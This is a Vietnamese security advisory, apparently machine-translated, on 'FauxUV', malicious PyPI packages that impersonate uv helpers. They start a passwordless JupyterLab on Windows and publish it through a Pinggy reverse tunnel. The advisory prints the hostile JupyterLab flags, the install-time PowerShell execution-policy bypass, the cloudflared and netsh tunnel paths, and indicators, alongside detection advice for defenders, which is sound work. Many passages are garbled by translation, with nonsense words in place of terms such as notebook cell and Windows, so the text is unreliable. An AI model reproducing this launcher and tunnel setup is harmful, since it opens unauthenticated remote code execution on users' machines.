FauxUV: Các gói UV giả mạo của PyPI mở Jupyter ra web.

FauxUV: các trình hỗ trợ UV giả mạo của PyPI mở một máy chủ Jupyter không được xác thực ra internet.

TL; DR

Một nhóm các gói PyPI đã mượn tên của uv, trình quản lý gói Python dựa trên Rust nhanh chóng và cực kỳ phổ biến, được sử dụng để đóng vai trò là trình trợ giúp uv. Chúng hầu như không cung cấp chức năng thực sự nào. Thay vào đó, chúng mang theo một payload dành cho Windows có khả năng khởi tạo một... Máy chủ JupyterLab với tính năng xác thực đã bị tắt. và, trong các phiên bản sau này, công bố nó lên mạng internet công cộng thông qua một đường hầm ngược.

Tóm lại toàn bộ câu chuyện chỉ gói gọn trong một câu: Tên của một công cụ đáng tin cậy được dùng làm mồi nhử, và JupyterLab đóng vai trò là công cụ thực thi mã từ xa. Máy chủ Jupyter chạy bất kỳ đoạn mã nào bạn nhập vào.ebook Tế bào; một tế bào được khởi chạy với mã thông báo trống và được liên kết với mọi giao diện mạng là một trình thông dịch mở mà bất kỳ ai có thể truy cập vào cổng đều có thể sử dụng.

Chúng tôi theo dõi cụm này như sau: FauxUVHai kiện hàng được kiểm tra là... moon-uv (0.0.1ọt 0.0.16) và my-magic-uv-helper (0.0.1), được xuất bản bởi cùng một nhà điều hành và đang hoạt động trên PyPI tại thời điểm phân tích.

Hệ sinh tháiPyPI
Góimoon-uv (0.0.1 tầm 0.0.16), my-magic-uv-helper (0.0.1)
Nền tảng nhắm mục tiêuCửa sổ
Hành vi cốt lõiMáy chủ JupyterLab chưa được xác thực, được công bố lên internet thông qua một đường hầm ngược.
Các công cụ hợp pháp bị lạm dụnguv, JupyterLab, cloudflared, Pinggy

Sức hút nằm ở: một cái tên mà bạn đã tin tưởng.

uv là một trong những công cụ Python được cài đặt nhiều nhất trong hai năm qua, vì vậy “một công cụ hỗ trợ cho uv“FauxUV” là một gói mà nhà phát triển cài đặt mà không cần suy nghĩ nhiều. Uy tín của FauxUV hoàn toàn dựa vào cái tên đó. Các gói này bao bọc… chính hãng uv Trình cài đặt từ Astral — các URL trong gói tin trỏ đến các máy chủ thực, có uy tín — vì vậy chỉ cần nhìn thoáng qua là thấy toàn các tham chiếu đáng tin cậy. Không có gói nào thực sự thêm... uv Chức năng thực tế; cái tên chính là vỏ bọc.

JupyterLab đóng vai trò là công cụ RCE.

Điểm nhấn của gói tin là một trình khởi chạy cho phép khởi động JupyterLab mà không có bất kỳ rào cản bảo vệ nào:

jupyter server --with jupyterlab   --ip=0.0.0.0            # listen on every interface   --ServerApp.token=""    # no password, no token   --allow_origin='*'      # accept cross-origin connections   --disable_check_xsrf    # allow a remote browser/WebSocket to drive it

Mỗi lá cờ tước bỏ một lớp bảo vệ, và kịch bản được gửi đi thậm chí còn chú thích chúng (bằng tiếng Trung Quốc gốc): mã thông báo trống “Tắt chức năng xác thực mật khẩu và mã thông báo — bất kỳ ai cũng có thể kết nối.” phòng thí nghiệm jupyter là một IDE khoa học dữ liệu hợp lệ, nhưng không phải là một IDE không hợp lệ.ebook Ô này được thiết kế để thực thi mã tùy ý. Được cấu hình theo cách này và liên kết với 0.0.0.0Khi đó, nó không còn là một IDE nữa mà trở thành một shell từ xa không cần xác thực trên máy chủ — không cần tệp nhị phân phần mềm độc hại tùy chỉnh nào, chỉ cần một công cụ thông dụng được sử dụng sai mục đích.

Hai yếu tố hỗ trợ giúp điều đó trở nên khả thi và có thể lặp lại:

  • Một trình kích hoạt cài đặt im lặng. Các phiên bản đầu tiên chạy PowerShell với -ExecutPolicy Bypass trực tiếp từ setup.py on cài đặt pip, ở chế độ nền với các lỗi được ẩn đi nên đánh rớt Trông bình thường. Các phiên bản sau này sẽ chuyển cùng một hình khối cơ bản đó vào một... pip-uv công cụ dòng lệnh — và loại bỏ hoàn toàn việc tự động chạy trong quá trình cài đặt.
  • Một đường hầm ngược chiều dành cho công cộng. Một máy chủ trên 0.0.0.0 Vẫn chỉ có thể truy cập được bởi các máy chủ có thể định tuyến đến máy đó. Một mô-đun đi kèm sẽ mở một [Pinggy](https://pinggy.io/Đường hầm ngược SSH chuyển tiếp cổng Jupyter cục bộ đến một địa chỉ công cộng, loại bỏ giới hạn đó. Tập lệnh được cung cấp cũng bao gồm — được chú thích — một đường dẫn thay thế sử dụng Cloudflare. đám mây bùng phátnetsh Thiết lập proxy cổng đến địa chỉ IP của Linode, ghi lại cùng một mục tiêu thông qua cơ sở hạ tầng khác nhau.

Tóm lại: cài đặt gói phần mềm, và một máy chủ Windows sẽ chạy JupyterLab không cần mật khẩu và công bố nó lên internet.

Quá trình phát triển của FauxUV

Các phiên bản của FauxUV được phát hành liên tiếp nhau, và điểm kích hoạt của payload di chuyển qua các phiên bản đó — một lời nhắc nhở rằng một phiên bản được gắn cờ hiếm khi kể hết toàn bộ câu chuyện về một dòng gói phần mềm.

Traineeship Các phiên bản Cò súng Những gì nó bổ sung
Móc cài đặt moon-uv 0.0.1-0.0.3, my-magic-uv-helper 0.0.1 setup.py khi cài đặt pip uv install + PATH prepend
Thời gian chạy CLI moon-uv 0.0.5-0.0.13 pip-uv lệnh trình khởi chạy JupyterLab không cần mật khẩu
Tunnel moon-uv 0.0.14-0.0.16 pip-uv lệnh một đường hầm ngược Pinggy đang hoạt động

Đáng chú ý, quá trình tự động chạy trong khi cài đặt là loại bỏ trong các phiên bản sau này, mạnh mẽ hơn — do đó, máy quét chỉ tập trung vào vòng đời sản phẩm. hooks sẽ chấm điểm các bản phát hành mới hơn là ít Mạo hiểm, hoàn toàn ngược lại.

Các chỉ số thỏa hiệp

Đã được xác nhận bằng cách đọc mã nguồn gói; các điểm cuối đã được đánh dấu. nhận xét Các chỉ báo mạng có mặt trong các tệp nhưng không được phiên bản phân tích thực thi.

Kiểu chỉ số
cài đặt lệnh powershell -ExecutionPolicy Bypass Tải xuống trình cài đặt uv chính hãng, tại thời điểm cài đặt pip
Các cờ JupyterLab --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf
Đường hầm ngược (đang hoạt động) free[.]pinggy[.]io:443 chuyển tiếp cục bộ 127.0.0.1:8888
Máy chủ đường hầm (đã bình luận) cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718
Địa chỉ IP (đã chú thích) 45[.]79[.]134[.]161 (Linode) thông qua netsh port-proxy
Persistence trả trước %USERPROFILE%\.local\bin đến đường dẫn người dùng PATH

Các tín hiệu hành vi đáng chú ý, không phụ thuộc vào các chuỗi ký tự cụ thể này: a cài đặt pip sinh ra powershell -ExecutionPolicy Bypass; không tí nào jupyter khởi động kết hợp token=”” với –ip=0.0.0.0và SSH đi ra ngoài đến *.pinggy.io Từ máy chủ phát triển hoặc máy chủ CI.

Hành vi quan sát được và nguồn gốc xuất xứ

Hai gói phần mềm này có chung tác giả và phương pháp: tên của một công cụ đáng tin cậy, cơ chế kiểm soát chỉ dành cho Windows, thực thi ngầm mà không báo lỗi, và dựa vào các công cụ uy tín để khi kiểm tra nhanh chỉ thấy các URL uy tín. Mã nguồn có các bình luận bằng tiếng Trung mô tả rõ ràng các cờ liên quan đến bảo mật; chúng tôi báo cáo những điều đó như những tuyên bố có thể quan sát được trong tệp, chứ không phải là một tuyên bố về động cơ. cho phép nguồn gốc giá trị và một colab.bat Tên tệp tin phản ánh các quy trình không chính thức kiểu "chia sẻ môi trường chạy cục bộ của tôi" đang được lưu hành trên Google Colab. Bất kể nguồn gốc, kết quả sau khi đóng gói đều giống nhau.

Tác động và hướng dẫn dành cho người phòng thủ

Ai là đối tượng tiếp xúc với tia cực tím giả (FauxUV)? Các nhà phát triển Windows và người chạy CI cài đặt pip một trong những gói này. Một JupyterLab không cần mật khẩu trên 0.0.0.0 Đây là cơ chế thực thi mã từ xa cho bất kỳ ai có thể truy cập vào cổng; đường hầm này loại bỏ giới hạn "ai có thể truy cập được". Máy chủ chạy với tư cách người dùng cài đặt, kế thừa các tệp, mã thông báo và thông tin đăng nhập đám mây của người dùng đó.

Vì sao điều này dễ bị bỏ sót. Mỗi chuỗi mạng đều trỏ đến một máy chủ uy tín — Astral, JupyterLab, đám mây bùng phátPinggy, Colab. Không có tệp nhị phân phần mềm độc hại nào để băm và không có khối dữ liệu bị che giấu nào để giải mã. Cả quét dựa trên danh tiếng và chữ ký đều đánh giá thấp điều này, đó là lý do tại sao câu hỏi về hành vi — Việc cài đặt gói phần mềm này khiến máy tính thực hiện những thao tác gì? — chính là người bắt được nó.

Hướng dẫn:

  • Xử lý mọi thời gian cài đặt powershell -ExecutionPolicy Bypass như một tín hiệu gây lỗi khi biên dịch, bất kể URL nào được tải về.
  • Thông báo về jupyter được khởi chạy với một token trống và –ip=0.0.0.0Sự kết hợp đó không bao giờ được phép xuất hiện trên máy trạm hoặc máy chạy bộ.
  • Giám sát các kết nối SSH đi ra từ các nhà cung cấp đường hầm (*.pinggy.io, *.trycloudflare.com) từ môi trường phát triển và CI.
  • đặt uv từ [nguồn chính thức của nó](https://docs.astral.sh/uv/và hãy cảnh giác với các gói "hỗ trợ" của bên thứ ba, những gói này chỉ đơn giản là thêm vào một công cụ vốn đã rất dễ cài đặt.
  • Ghim và xem xét lại các phụ thuộc khi nâng cấp — một dòng gói phần mềm có thể được bổ sung thêm các tính năng mới qua từng phiên bản.
sca-tools-software-composition-analysis-tools
Ưu tiên, khắc phục và bảo mật các rủi ro phần mềm của bạn
Đăng ký tài khoản miễn phí ngay.
Không cần thẻ tín dụng.

Bảo mật quá trình phát triển và phân phối phần mềm của bạn.

với bộ sản phẩm Xygeni